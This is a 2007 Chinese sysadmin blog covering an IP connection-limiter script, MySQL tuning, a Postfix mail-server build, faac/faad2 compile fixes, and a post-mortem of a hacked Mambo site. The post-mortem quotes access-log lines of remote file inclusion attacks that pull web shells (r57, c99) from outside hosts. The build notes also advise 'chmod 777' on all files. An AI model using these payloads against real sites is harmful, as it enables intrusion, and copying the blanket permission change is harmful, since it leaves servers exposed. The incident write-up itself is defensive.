2007年09月15日

ITNMS论坛 bbs.itnms.net

开源网管产品 包括 Nagios & GroundWork  Zenoss  Hyperic HQ  Qlusters & openQRM  OpenNMS  等等http://www.itnms.net/discuz/forum-5-1.html

国际四大产品 HP OpenView  IBM Tivoli  CA Unicenter  BMC Patrol  http://www.itnms.net/discuz/forum-3-1.html

2007年07月11日

前些日子因为需要(详见针对少量ip大量连接方式对网站攻击的简单处理方案(Apache mod_limitipconn, Iptalbles,dynfw)),写了一个限制ip连接的工具,经过使用过程中的不断完善,到现在的版本,自认为已经基上可以拿出来供人拍砖了 :) ,所以发布出来,希望可以供大家讨论。

README:

########
LISCENCE
########
You may use this software under any version of the GPL that is current
as of your download.  For exact terms and conditions please see www.gnu.org.

########
AUTHOR
########
Programmed by  chenl, you can send bugs to  <cloved@gmail.com> or <chnl@163.com>.

########
USAGE
########
THIS TOOL NEED THE ROOT PERMISSION TO EXECUTE.
此工具需要root用户权限方可执行。

I.
该系统使用dynfw提供的工具,对外部ip对本地系统地连接情况作实时监测。
1.通过to_limit.sh,系统会定期(可以通过crontab或者后台运行来控制interval)检测ip对指定系统IP的端口的连接数量,一旦达到或者超过系统限
制值,该ip会被放入临时黑名单,该黑名单的有效期与re_limit.sh的运行周期有关(可以配置),在临时黑名单中的用户,将会被指定的命令如ipdr
op,ipblock或者host-tcplimit所限制。
2. 每次运行re_limit.sh,系统会自动清除临时黑名单,并把该文件备份为历史_临时黑名单,所有在临时黑名单中的ip被自动解除限制;
3.每次运行re_limit.sh,系统会对历史_临时黑名单做统计,在临时黑名单中出现N次的ip(也就是说,N次连接超过系统限制的ip,N可以在运行re.sh
被指定),会被放入永久黑名单,永久黑名单中的ip,在re.sh运行完毕后,会被重新加入限制(也就是说,如果不清除历史_临时黑名中该ip的记录
,或者增大N值,该ip将会被永久性的限制)。
4. to_limit.sh 及re_limit.sh 以参数IP Port
及Func为实例运行,每个实例的相关日志及list都在var/X/$IP_$Port/目录中,以$Func开头的文件默认,如
./var/lists/192.168.10.209_80/host-tcplimit.t_bip.list;

II.
临时及永久黑名单文件:
BIPList=$IPT_TOOLS_HOME/var/lists/"$IPP"/"$func".bip.list
TBIPList=$IPT_TOOLS_HOME/var/lists/"$IPP"/"$func".t_bip.list

CBIPList为当前被limit的所有的ip列表:
CBIPList=$IPT_TOOLS_HOME/var/lists/"$IPP"/"$func".c_bip.list

III.
其中func可为:ipdrop,ipblock或者host-tcplimit
该工具的部分功能,其实可以通过iptables的 iplimit 模块实现,并且在效率和灵活性上都会更好。
但使用此扩展需要重新编译内核模块,并且需要重新启动操作系统,对大多数的生产环境不太适合,因此采用了此方法实现此功能。
iplimit 的详细情况请参考: http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html。
Dynfw的详细情况,请参考:http://www.gentoo.org/proj/en/dynfw.xml
注:此工具中的dynfw作了部分修改。

########
EXAMPLE
########
此工具的运行实例请参考 examples目录下的脚本;
可以采用两种方式调度执行。

I. to_limit.sh:

1.程序后台运行方式,请参考以下说明:
参照 ./examples/to_in_bg.sh;
对 192.168.10.209 的80端口进行检测,对超过50个连接的ip就行ipblock处理,每150(2.5m x 60)秒检测一次,则可以通过运行脚本:
1)以下参数,此程序会一直运行,如果打算放在后台运行,可以通过nohup “&”等实现。
# to_limit.sh 192.168.10.209 80 ipblock 50 2.5
2)以下参数,此程序会运行100次后退出。
# to_limit.sh 192.168.10.209 80 ipblock 50 2.5 100

2. Crontab运行方式,请参考以下说明:
参照./examples/to_in_cron.sh;
对 192.168.10.209 的80端口进行检测,对超过50个连接的ip就行ipblock处理,检测间隔通过crontab设定,则可以通过运行脚本:
1)以下参数,以下参数,此程序会运行1次后退出。
# to_limit.sh 192.168.10.209 80 ipblock 50
可以通过crontab来调度程序的运行。

II. re_limit.sh:

1.程序后台运行方式,请参考以下说明:
参照 ./examples/re_in_bg.sh;
对 192.168.10.209的80端口,func为ipblock的实例,周期性(此处为30分钟)的清空临时黑名单,并统计历史_临时黑名单,超过N次(此处为3次)进入临时黑名单的,将会被放入永久
黑名单:
1)以下参数,此程序会一直运行,如果打算放在后台运行,可以通过nohup “&”等实现。
# re_limit.sh 192.168.10.209 80 host-tcplimit 3 30
2)以下参数,此程序会运行100次后退出。
# re_limit.sh 192.168.10.209 80 host-tcplimit 3 30 100

2. Crontab运行方式,请参考以下说明:
参照./examples/re_in_cron.sh;
对 192.168.10.209
的80端口,func为ipblock的实例,周期性(由crontab设定)的清空临时黑名单,并统计历史_临时黑名单,超过N次(此处为3次)进入临时黑名单的,将会被放入永久
黑名单:
1)以下参数,以下参数,此程序会运行1次后退出。
# re_limit.sh 192.168.10.209 80 host-tcplimit 3
可以通过crontab来调度程序的运行。

########
INSTALLATION
########
Use install.sh to instlll this tool.

FileList:
./INSTALL
./bin
./bin/to_limit.sh
./bin/re_limit.sh
./bin/dynfw
./bin/dynfw/dynfw.sh
./bin/dynfw/host-tcplimit
./bin/dynfw/user-outblock
./bin/dynfw/ipblock
./bin/dynfw/ipdrop
./bin/dynfw/tcplimit
./bin/set_conf.sh
./bin/ipt_tools.sh
./bin/clearAll.sh
./install.sh
./conf
./conf/NeverLimitIPs.conf
./TODO
./CHANGELOG
./examples
./examples/to_in_cron.sh
./examples/re_in_cron.sh
./examples/to_in_bg.sh
./examples/re_in_bg.sh
./README
./Ver

文件下载:
ipt_tools-0.99.tar.gz(ip_limiter)

欢迎大家在线上或者通过email讨论, email me to  <cloved@gmail.com> or <chnl@163.com>

2007年07月10日

最近朋友的网站由于用户量上升及其他原因,使得mysql数据库性能出现严重问题,导致用户无法正常登录及使用。
为了找出性能问题的根结,Google了很多,最后从以下方面入手:
1.  配置mysql log_slow_queries 功能
输出哪些耗时的sql语句到日志中,使用mysqldumpslow去统计,从而确定是哪些应用的数据库查询影响了数据库性能。
log_slow_queries在my.cnf的配置,示例如下:
log_slow_queries
long_query_time = 2
log_long_format

mysqldumpslow 的使用,到日志所在目录,执行:
# mysqldumpslow ./www-slow.log

2. 利用mytop实时查看mysql的负载情况
mytop的最新版本为1.6,mytop-1.6.tar.gz的安装需要以下软件包支持:
DBI-1.58.tar.gz
TermReadKey-2.30.tar.gz
DBD-mysql-4.005 
此软件安装比较简单,可以参照readme即可。
一下是安装中常会出现的问题:
如果运行mytop时出现以下错误:
1) mysql.so: undefined symbol: DBIc_TRACE_LEVEL
基本上确定是DBI及DBD-mysql的版本不匹配造成的,
详见:
http://www.cpanforum.com/posts/5528

2) Segmentation fault
基本上确定是由于TermReadKey版本和mytop要求不匹配造成的,
详见:
http://www.webhostingtalk.com/archive/index.php/t-429329.html

在找到有问题的sql语句後,对my.cnf也做了相应的处理,主要是参考my-huge.cnf,内容如下,欢迎对此配置进行讨论:
# cat my.cnf
[client]
port            = 3306
socket          = /tmp/mysql.sock
[mysqld]
port            = 3306
socket          = /tmp/mysql.sock
skip-locking
key_buffer = 384M
max_allowed_packet = 1M
table_cache = 512
sort_buffer_size = 4M
read_buffer_size = 4M
net_buffer_length = 64K
read_rnd_buffer_size = 8M
myisam_sort_buffer_size = 64M
max_connections = 1500
max_connect_errors = 1500
query_cache_size = 64M
thread_cache_size = 8
thread_concurrency = 8

#log_slow_queries
#long_query_time = 5
#log_long_format
[mysqldump]
quick
max_allowed_packet = 16M
[mysql]
no-auto-rehash
[isamchk]
key_buffer = 256M
sort_buffer_size = 256M
read_buffer = 2M
write_buffer = 2M
[myisamchk]
key_buffer = 256M
sort_buffer_size = 256M
read_buffer = 2M
write_buffer = 2M
[mysqlhotcopy]
interactive-timeout

经过测试发现key_buffer及query_cache_size 对mysql性能影响较大。

另外,发现mysq在linux下高负载运行时,kswapd会经常出来捣乱,致使情况变得更糟。系统load average会急剧升高,直至mysql没有任何响应。
对此感兴趣的可以搜索 mysql+kswapd
如以下讨论:
http://www.ale.org/archive/ale/ale-2001-09/msg00149.html
http://bugs.mysql.com/bug.php?id=28751

2007年07月04日

一个人,无法领略两个人的快乐;两个人,体会不到三个人的幸福!

2007年06月21日

postfix installation
reference:postfix邮件系统完整版 http://www.chinaunix.net/jh/14/553326.html

The following is my installation log

1. mysql
yum install mysql-server mysql-devel
or, to install the tar.gz

2. apache
install apache with so option, for php support

3. php
install the php, with mysql and apxs2 apache support

4. Cyrus-sasl:

./configure \
–disable-anon -enable-plain –enable-login \
–enable-sql –with-mysql=/opt/mysql4  \
–with-mysql-includes=/opt/mysql4/include/mysql \
–with-mysql-libs=/opt/mysql4/lib/mysql

make link from /opt/mail/cyrus-sasl/lib/sasl2 to /usr/lib/sasl2

5.Postfix:
backup the sendmail, newalias, mailq commands, and old mta config if you need

insert  /opt/mail/cyrus-sasl/lib to /etc/ld.so.conf
insert /opt/mysql4/lib/mysql to /etc/ld.so.conf
execute ldconfig command
# ldconfig

make -f Makefile.init makefiles \
‘CCARGS=-DHAS_MYSQL -I/opt/mysql4/include/mysql \
-DUSE_SASL_AUTH -DUSE_CYRUS_SASL \
-I/opt/mail/cyrus-sasl/include/sasl’ \
‘AUXLIBS=-L/opt/mysql4/lib/mysql -lmysqlclient -lz \
-lm -L/opt/mail/cyrus-sasl/lib -lsasl2′
/**
* Notice: the include and lib must use the right one.
* The include is include/sasl
* The lib is lib -lsasl2
**/

6. postfixadmin
install and configure postfixadmin

7. configure postfix
configure the postfix config files

8. modify the sasl2 smtpd.conf
pwcheck_method: auxprop
auxprop_plugin: sql
mech_list: PLAIN LOGIN
sql_engine: mysql
sql_hostnames: localhost
sql_user: postfix
sql_passwd: fixpost
sql_database: postfix
sql_select: SELECT password FROM mailbox WHERE username=’%u@%r’ and domain=’%r’ and active=’1′

9. Courier:
9.1 Courier-authlib
# ./configure \
–prefix=/opt/mail/courier/authlib \
–with-redhat \
–with-authmysql=yes \
–with-mailuser=portal –with-mailgroup=portal \
–with-mysql-libs=/opt/mysql4/lib/mysql –with-mysql-includes=/opt/mysql4/include/mysql
# make
# make install
# make install-configure

9.2 Courier-imap
add the authlib to ld.so.conf
add the /opt/mail/courier/authlib/bin to the path for courierauthconfig
copy auth include files to /usr/local/include

# ./configure \
–prefix=/opt/mail/courier/imap \
–with-redhat \
–disable-root-check \
–enable-unicode=utf-8,iso-8859-1,gb2312,gbk,gb18030 \
–with-trashquota \
–with-dirsync
# make
# make install-strip (first make for "install-strip",if failur, to make for "install")
# make install-configure

9.3 Courier-maildrop

install pcre-devel

# ./configure \
–prefix=/opt/mail/courier/maildrop \
–enable-sendmail=/usr/sbin/sendmail \
–enable-trusted-users=’root portal’ \
–enable-syslog=1 \
–enable-maildirquota \
–enable-maildrop-uid=502 \
–enable-maildrop-gid=502 \
–with-trashquota \
–with-dirsync
# make
# make install
# cp /opt/mail/courier/maildrop/bin/maildrop /usr/bin
# chmod a+rx /usr/bin/maildrop

10. Notitce:
/*
* maildrop and postfix can not in same user/group;
*/

11. make maildir shell for postfixadmin
the following is md.sh:
#!/bin/bash
set -e
if [ ! $# -eq 2 ]
then
        echo "Error Args."
        exit 500
fi
if [ ! -d /opt/mail/mailbox/$1 ]
then
mkdir /opt/mail/mailbox/$1
fi
chown -R portal:portal /opt/mail/mailbox/$1
cd "/opt/mail/mailbox/$1"
/opt/mail/courier/imap/bin/maildirmake $2
chown -R 502:502 /opt/mail/mailbox/$1/$2
chmod -R g=s /opt/mail/mailbox/$1/$2

12. SquirrelMail
ChangeMysqlPass plugins for SquirrelMail need php pear-db

2007年04月10日

针对少量ip大量连接方式对网站攻击的简单处理方案(Apache mod_limitipconn, Iptalbles,dynfw)

以下只是针对针对少量ip大量连接的初级的攻击方式有一定效果,
截取自针对朋友网站真实情况的一些处理方法。

1、Apache:
mod_limitipconn模块,mod_limitipconn的相信配置,请参考:http://dominia.org/djao/limitipconn2.html
配置如下:
LoadModule limitipconn_module modules/mod_limitipconn.so
<IfModule mod_limitipconn.c>
    <Location />
        MaxConnPerIP 25
    </Location>
</IfModule>
对单个ip对服务器页面的连接数量限制为25以内,超过25,会给用户返回503错误;
此限制主要针对的连接状态主要为ESTABLISHED;
此限制不会把用户ip加入黑名单。

2、iptables:
结合dynfw使用,dynfw的详细使用请参考:http://www.gentoo.org/proj/en/dynfw.xml
相关脚本实现请参考以下文件:
此配置限制单个ip对服务器80端口的socket连接(包含各种连接状态,如time_wait,FIN_WAIT2,ESTABLISHED等等),减轻服务器的网络压力,及对apache的连接数的占用。
此配置的限制数量为50,超过50个连接的用户将被加入黑名单;

(此处实现,其实可以通过iptables的 iplimit 模块实现,并且在效率和灵活性上都会更好,但使用此扩展需要重新编译内核模块,并且需要重新启动操作系统,对我的生产环境不太适合,因此采用了这个笨方法实现此功能。iplimit 的详细情况请参考http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html

另外,关于黑名单的处理,可以考虑定期对过期的iptables黑名单进行清空处理,可以采用ipdrop off,或者直接清空iptables的相关规则,应为此类ip大多是adsl的动态ip。

3、相关脚本文件:
[root@TServer drop_ip]# ls
do_drop.sh  get_cnt.sh  get_conn_ip.sh  to_drop.sh
[root@TServer drop_ip]# for File in `ls`; do echo "############"; echo $File; echo "############" ; cat $File ; done
############
1)do_drop.sh
############
#!/bin/sh
PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
cd /home/cl/ipt/drop_ip
./to_drop.sh 192.168.10.209 80
############
2)get_cnt.sh
############
#!/bin/sh
if [ $# -ne 2 ]; then
echo "Usage $0 IP Port"
exit 101
fi
gip=$1
gport=$2
./get_conn_ip.sh $gip $gport  | sort  | uniq -c | sort -n -r
############
3)get_conn_ip.sh
############
#!/bin/sh
if [ $# -ne 2 ]; then
echo "Usage $0 IP Port"
exit 101
fi
gip=$1
gport=$2
netstat -an | grep "$gip":"$gport" | awk ‘{print $5}’ | sed  ’s/\:\:ffff\://g’ | awk -F ":" ‘{print $1}’
############
4)to_drop.sh
############
#!/bin/sh
if [ $# -ne 2 ]; then
echo "Usage $0 IP Port"
exit 101
fi
gip=$1
gport=$2

DropLog=./drop.log
CntLog=./cnt.log
BIPList=./bip.list
LimitCnt=20

echo "#######################" >> $DropLog
date >> $DropLog
./get_cnt.sh $gip $gport > $CntLog
while read record
do
bcnt=$(echo "$record" | awk ‘{print $1}’)
bip=$(echo "$record" | awk ‘{print $2}’)
if [ $bcnt -ge $LimitCnt ]; then
echo "$record" >>$DropLog
echo $bcnt>>$DropLog
echo $bip>>$DropLog
echo $bip>>bip.list
echo ipdrop $bip on >>$DropLog
/usr/local/sbin/ipdrop $bip on >>$DropLog
else
echo "Finished." >>$DropLog
exit 0
fi
done < $CntLog
[root@TServer drop_ip]#

注解:
A. 其中do_drop.sh是入口文件。
在这个文件中,需要指定限制的ip及端口,如果需要对192.168.10.10.209的80端口的连接做限制,则可以执行 ./to_drop.sh 192.168.10.209 80。

B. 可以通过crontab定期执行该文件,如每5分钟一次,来对ip的连接数量做限制,如:
[root@TServer drop_ip]# crontab -l
*/5 * * * *  /home/cl/ipt/drop_ip/do_drop.sh
或者通过入口shell自己控制,不过还是推荐使用crontd方式。
C. 相关的日志文件及list文件(存放已经被drop的黑名单)会自动产生。
如果有感兴趣或着有问题的,欢迎联络。Email: chnl@163.com

 

2007年03月23日

鸟悄儿的我走了,正如我蔫巴的来;
我得了八嗖的招手,墨迹西天的云彩。
那泡子边的金柳,是夕阳中的媳妇儿;
波光里的倩磴儿,在我的心头固用。
买了吧台的青幸,油了巴几的在水底赛脸;
在康河的旮旯里,我甘心做一把蒿子。
那榆吟下的一座,不是蘑菇,是个猫楼;
揉希碎在浮躁间,沉淀着贼拉彩虹的梦。
嘎哈啊?划拉一把扫帚嘎的,向青菜贼青那嘎的漫溯;
正一兜子星辉,在星辉斑斓里嗷唠两嗓子。
但我不能嗷唠,悄悄是滚犊子的笙箫;
扑勒蛾子也为我念儿了,念儿了是这宿儿的康桥!
我傻了巴几地走了,正如我飚的喝得来;
我得瑟得瑟衣袖,不带走一嘎达云彩。

2007年03月22日

前些日子,朋友的一个Mambo的站点,突然流量暴涨,从早上6点开始,从mrtg上看,流量已经跑到100M,而且网站用户也投诉说访问特别慢,从而想到,可以是被入侵了。
检查后,发现系统被植入了一个syn flood攻击软件。
经过简单处理,站点恢复了正常,开始考虑如何找到问题的根源。
站点是CentOS4.4 final搭建的,前期的的安全措施也作了很多,理论上应该不会有被入侵的可能。
因为对php不是很熟悉,原来对Mambo也没做过研究,经过考虑,唯一可能的入侵途径,只能是通过web,经过彻底检查,从web server 的access_log中发现了一些异常,发现了以下类似的纪录:
88.244.17.234 – - [05/Mar/2007:02:41:28 +0800] "GET /components/com_zoom/classes/iptc/EXIF_Makernote.php?mosConfig_absolute_path=http://indir.savsak.com/shell.txt? HTTP/1.0" 200
377
88.244.17.234 – - [05/Mar/2007:02:41:31 +0800] "GET /components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://indir.savsak.com/shell.txt? HTTP/1.0" 200 377
88.244.17.234 – - [05/Mar/2007:02:51:25 +0800] "GET /components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://uyussman.by.ru/r57.txt? HTTP/1.1" 200 30252
88.244.17.234 – - [05/Mar/2007:02:52:18 +0800] "POST /components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://uyussman.by.ru/r57.txt? HTTP/1.1" 200 29455
88.244.17.234 – - [05/Mar/2007:02:52:32 +0800] "POST /components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://uyussman.by.ru/r57.txt? HTTP/1.1" 200 28116
88.244.17.234 – - [05/Mar/2007:02:54:11 +0800] "POST /components/com_zoom/classes/iptc/EXIF.php?mosConfig_absolute_path=http://uyussman.by.ru/r57.txt? HTTP/1.1" 200 28754
88.229.196.156 – - [06/Mar/2007:07:22:28 +0800] "GET /administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://www.spy-team.org/c99.jpg?
HTTP/1.1" 200 4851

从而确认对方是通过com_zoom漏洞入侵的。

后来经过彻底检查,同时发现了针对administrator/components目录也进行了类似的攻击。

问题找到了,就开始想办法解决,因为对Mambo不是很熟悉,所以就打消了对Mambo系统进行修改或者升级的想法。

后来,经过分析,发现正常的用户访问,应该不会有类似GET /components/com_zoom/classes/iptc/EXIF_Makernote.php这种形式的,因此考虑通过Apache的rewrite模块对其访问进行一些限制:
如下:
       RewriteRule ^(/components/.*)/(.*\.(png|gif|jpg))$ /$1/$2
        RedirectMatch ^(/components/.*)/(.*\.(php|js))  http://www.abc.cn
        RedirectMatch ^/(administrator/components/.*) http://www.abc.cn/
        RedirectMatch ^/(administrator/popups/.*) http://www.abc.cn/
经过自己的测试,发现还是可以基本上解决这个问题的。

不知是否有这方面的高手,可以给一个完整的解决方案?

最近有个项目,需要ffmpeg的支持,google了一下,找到了张微波的这篇ffmpeg的编译大全
呵呵,确实讲的比较详细,一步步走下来,直到需要编译faac-1.25 及 faad2-2.5 出现问题。
费尽周折,google了很久,总算找到了解决方式,呵呵,写出来,希望能对有需要的人少走些弯路。

解决问题过程中,参考了以下资料:
faac:
http://yxzmusic.spaces.live.com/?_c11_BlogPart_FullView=1&_c11_BlogPart_blogpart=blogview&_c=BlogPart&partqs=amonth%3D7%26ayear%3D2006
http://d.hatena.ne.jp/paraches/
http://www.audiocoding.com/modules/newbb/viewtopic.php?topic_id=546&forum=3

faad2:
http://wf.xplore.cn/read.php/90.htm (试过之后,发现好像不能解决问题)

faad2-2.5:
错误现象:
[root@TServer faad2]# autoreconf  -ivf
autoreconf: Entering directory `.’
autoreconf: configure.in: not using Gettext
autoreconf: running: aclocal –force
autoreconf: configure.in: tracing
autoreconf: running: libtoolize –copy –force
autoreconf: running: /usr/bin/autoconf –force
autoreconf: running: /usr/bin/autoheader –force
autoreconf: running: automake –add-missing –copy –force-missing
configure.in: installing `./install-sh’
configure.in: installing `./missing’
common/mp4ff/Makefile.am: installing `./compile’
common/mp4ff/Makefile.am: installing `./depcomp’
plugins/Makefile.am:12: required directory plugins/bmp does not exist
plugins/xmms/src/Makefile.am:2: libdir was already defined in condition TRUE, which includes condition HAVE_BMP …
configure.in:10: … `libdir’ previously defined here
plugins/xmms/src/Makefile.am:8: libdir was already defined in condition TRUE, which includes condition !HAVE_BMP …
configure.in:10: … `libdir’ previously defined here
Makefile.am: installing `./INSTALL’
autoreconf: automake failed with exit status: 1

解决方案:
google的时候,找到这个:http://wf.xplore.cn/read.php/90.htm
按照说明操作,也没有效果,后来发现,只要把BMP相关的编译条件(一般都是以if-else形式存在的,注意要把整个块都删除)都remove,就OK了。
我的操作如下:
[root@TServer faad2]# cd plugins/
[root@TServer plugins]# grep -lr BMP *
Makefile.am
xmms/src/libmp4.c
xmms/src/Makefile.am
[root@TServer plugins]# vi Makefile.am
if HAVE_MPEG4IP_PLUG
if HAVE_XMMS
SUBDIRS = xmms mpeg4ip
else
SUBDIRS = mpeg4ip
endif #HAVE_XMMS
else
if HAVE_XMMS
SUBDIRS = xmms
else
SUBDIRS =
endif #HAVE_XMMS
endif #HAVE_MPEG4IP_PLUG
~
~
~
~
~
~
~
"Makefile.am" [dos] 13L, 200C 已写入                        
[root@TServer plugins]# grep -lr BMP *
xmms/src/libmp4.c
xmms/src/Makefile.am
[root@TServer plugins]# vi xmms/src/libmp4.c
/*
 * MP4/AAC decoder for xmms
 *
 * OPTIONNAL need
 * ————–
 * libid3 (3.8.x – www.id3.org)
*/

#include <pthread.h>
#include <gtk/gtk.h>
#include <stdio.h>
#include <string.h>

#include "neaacdec.h"
#include "mp4ff.h"

#define MP4_DESCRIPTION "MP4 & MPEG2/4-AAC audio player – 1.2.x"
#define MP4_VERSION     "ver. 0.5-faad2-version – 22 August 2004"
#define MP4_ABOUT       "Written by ciberfred"
#define BUFFER_SIZE     FAAD_MIN_STREAMSIZE*64

static void     mp4_init(void);
static void     mp4_about(void);
static void     mp4_play(char *);
static void     mp4_stop(void);
"xmms/src/libmp4.c" [dos] 574L, 15762C 已写入
[root@TServer plugins]# ls
in_mp4  Makefile.am  mpeg4ip  QCD  QCDMp4  xmms
[root@TServer plugins]# grep -lr BMP *
xmms/src/Makefile.am
[root@TServer plugins]# vi xmms/src/Makefile.am
if HAVE_BMP
libdir=$(shell pkg-config –variable=input-plugin-dir bmp)
local_CFLAGS=$(shell pkg-config –cflags bmp)
local_LDFLAGS=$(shell pkg-config –libs bmp)
else
local_CFLAGS=`$(XMMS_CONFIG) –cflags` -Wall
local_LDFLAGS=`$(XMMS_CONFIG) –libs`
libdir = `$(XMMS_CONFIG) –input-plugin-dir`
endif #HAVE_BMP
lib_LTLIBRARIES = libmp4.la

libmp4_la_CFLAGS = $(local_CFLAGS) -Wall \
       -I$(top_srcdir)/include -I$(top_srcdir)/common/mp4ff

libmp4_la_LIBADD = $(top_builddir)/libfaad/libfaad.la \
       $(top_builddir)/common/mp4ff/libmp4ff.la

libmp4_la_LDFLAGS = -module -avoid-version $(local_LDFLAGS) -lpthread

libmp4_la_SOURCES = libmp4.c mp4_utils.c aac_utils.c
~
~
~
~
~
~
~
~
~
"xmms/src/Makefile.am" [dos] 11L, 373C 已写入
[root@TServer plugins]# cd ..
[root@TServer faad2]# grep -lr BMP *
configure.in
[root@TServer faad2]# vi configure.in
  AM_CONDITIONAL([HAVE_BMP], true)
fi

if test x$WITHDRM = xyes; then
  AC_DEFINE(DRM, 1, [Define if you want to use libfaad together with Digital Radio Mondiale (DRM)])
  AC_DEFINE(DRM_PS, 1, [Define if you want support for Digital Radio Mondiale (DRM) parametric stereo])
fi

AC_CONFIG_FILES(libfaad/Makefile)
AC_CONFIG_FILES(common/Makefile)
AC_CONFIG_FILES(common/mp4ff/Makefile)
AC_CONFIG_FILES(plugins/Makefile)
AC_CONFIG_FILES(plugins/xmms/Makefile)
AC_CONFIG_FILES(plugins/xmms/src/Makefile)
AC_CONFIG_FILES(plugins/mpeg4ip/Makefile)
AC_CONFIG_FILES(faad2.spec)
AC_CONFIG_FILES(frontend/Makefile)
AC_CONFIG_FILES(Makefile)
已查找到文件结尾;再从开头继续查找
AC_PROG_MAKE_SET
AC_CHECK_PROGS(RPMBUILD, rpmbuild, rpm)

AM_CONFIG_HEADER(config.h)

AC_ARG_WITH(xmms,[  --with-xmms             compile XMMS-1 plugin],
             WITHXMMS=$withval, WITHXMMS=no)

AC_ARG_WITH(drm,[  --with-drm              compile libfaad with DRM support],
             WITHDRM=$withval, WITHDRM=no)

AC_ARG_WITH(mpeg4ip, [  --with-mpeg4ip          compile mpeg4ip plugin],
                     WITHMPEG4IP=$withval, WITHMPEG4IP=no)

dnl Checks for header files required for mp4.h
AC_HEADER_STDC
AC_CHECK_HEADERS(stdint.h inttypes.h)
AC_CHECK_HEADERS(mathf.h)
AC_CHECK_HEADERS(float.h)
/BMP                                                        
  fi

  AM_CONDITIONAL(HAVE_XMMS, true)
else
 AC_MSG_NOTICE(no xmms build configured)
 AM_CONDITIONAL(HAVE_XMMS, false)
fi

if test x$WITHDRM = xyes; then
  AC_DEFINE(DRM, 1, [Define if you want to use libfaad together with Digital Radio Mondiale (DRM)])
  AC_DEFINE(DRM_PS, 1, [Define if you want support for Digital Radio Mondiale (DRM) parametric stereo])
fi
AC_CONFIG_FILES(libfaad/Makefile)AC_CONFIG_FILES(common/Makefile)AC_CONFIG_FILES(common/mp4ff/Makefile)AC_CONFIG_FILES(plugins/Makefile)
AC_CONFIG_FILES(plugins/xmms/Makefile)
"configure.in" [dos] 131L, 3776C 已写入
[root@TServer faad2]# grep -lr BMP *
[root@TServer faad2]# ls
aacDECdrop  common        faad2.spec.in    libfaad      README
AUTHORS     configure.in  frontend         Makefile.am  README.linux
bootstrap   COPYING       include          NEWS         TODO
ChangeLog   docs          in_mpeg4aac.nsi  plugins
[root@TServer faad2]# autoreconf -vir
/usr/bin/autoreconf: unrecognized option `-r’
Try `/usr/bin/autoreconf –help’ for more information.
[root@TServer faad2]# autoreconf -vif
autoreconf: Entering directory `.’
autoreconf: configure.in: not using Gettext
autoreconf: running: aclocal –force
autoreconf: configure.in: tracing
autoreconf: running: libtoolize –copy –force
autoreconf: running: /usr/bin/autoconf –force
autoreconf: running: /usr/bin/autoheader –force
autoreconf: running: automake –add-missing –copy –force-missing
configure.in: installing `./install-sh’
configure.in: installing `./missing’
common/mp4ff/Makefile.am: installing `./compile’
common/mp4ff/Makefile.am: installing `./depcomp’
Makefile.am: installing `./INSTALL’
autoreconf: Leaving directory `.’

faac-1.25,有两个地方需要修改,一是m4 macro文件,另外一个是需要对文件的格式及权限作一下处理:
错误现象 1:
[root@TServer faac]# autoreconf -vif
autoreconf: Entering directory `.’
autoreconf: configure.in: not using Gettext
autoreconf: running: aclocal –force
configure.in:10: warning: underquoted definition of MY_DEFINE
  run info ‘(automake)Extending aclocal’
  or see http://sources.redhat.com/automake/automake.html#Extending-aclocal
autoreconf: configure.in: tracing
autoreconf: running: libtoolize –copy –force
configure.in:10: warning: underquoted definition of MY_DEFINE
  run info ‘(automake)Extending aclocal’
  or see http://sources.redhat.com/automake/automake.html#Extending-aclocal
autoreconf: running: /usr/bin/autoconf –force
autoreconf: running: /usr/bin/autoheader –force
autoreconf: running: automake –add-missing –copy –force-missing
autoreconf: Leaving directory `.’
[root@TServer faac]# grep MY_DEFINE *
configure.in:AC_DEFUN(MY_DEFINE, [ AC_DEFINE($1, 1, [define if needed]) ])
configure.in:AC_CHECK_DECL(strcasecmp, MY_DEFINE(HAVE_STRCASECMP))
configure.in:     MY_DEFINE(HAVE_LIBMP4V2)
configure.in:AC_CHECK_DECL(strchr, MY_DEFINE(HAVE_STRCHR))
configure.in:AC_CHECK_DECL(memcpy, MY_DEFINE(HAVE_MEMCPY))
configure.in:AC_CHECK_DECL(strsep, MY_DEFINE(HAVE_STRSEP))

解决方案1:
[root@TServer faac]# grep MY_DEFINE *
configure.in:AC_DEFUN(MY_DEFINE, [ AC_DEFINE($1, 1, [define if needed]) ])
configure.in:AC_CHECK_DECL(strcasecmp, MY_DEFINE(HAVE_STRCASECMP))
configure.in:     MY_DEFINE(HAVE_LIBMP4V2)
configure.in:AC_CHECK_DECL(strchr, MY_DEFINE(HAVE_STRCHR))
configure.in:AC_CHECK_DECL(memcpy, MY_DEFINE(HAVE_MEMCPY))
configure.in:AC_CHECK_DECL(strsep, MY_DEFINE(HAVE_STRSEP))

把configure.in文件中的AC_DEFUN(MY_DEFINE, [ AC_DEFINE($1, 1, [define if needed]) ])
修改为 AC_DEFUN([MY_DEFINE], [ AC_DEFINE($1, 1, [define if needed]) ])
然后就可以autoreconf -ivf了。

错误现象2:
./configure的时候,会出现以下错误:
configure: creating ./config.status
config.status: creating common/Makefile
config.status: creating common/mp4v2/Makefile
config.status: creating \
.infig.status: error: cannot find input file: \

这个问题是文件的格式问题造成的,可以用一下方法处理:
[root@TServer faac]#find . -type f | xargs dos2unix

[root@TServer faac]#chmod * 777 -R

处理之后,就可以安装了。

2007年01月29日

有个朋友的网站有大量的中文文件需要处理,而IE默认使用UTF-8模式,使得这部分文件无法被用户正常浏览。
因此打算用mod_encoding来对此作一些处理。
本以为,参照此文档http://blog.51766.com/page/zsc?entry=1141808884223很容易就可以完成,但是却遇到类似的错误:
mod_encoding.c: In function `get_client_encoding’:
mod_encoding.c:174: warning: assignment makes pointer from integer without a cast
mod_encoding.c:181: error: `regex_t’ undeclared (first use in this function)
mod_encoding.c:181: error: (Each undeclared identifier is reported only once
mod_encoding.c:181: error: for each function it appears in.)
mod_encoding.c:181: error: syntax error before ‘)’ token
mod_encoding.c: At top level:
mod_encoding.c:187: error: syntax error before "return"
mod_encoding.c: In function `set_server_encoding’:
mod_encoding.c:213: warning: assignment makes pointer from integer without a cast
mod_encoding.c: In function `add_client_encoding’:
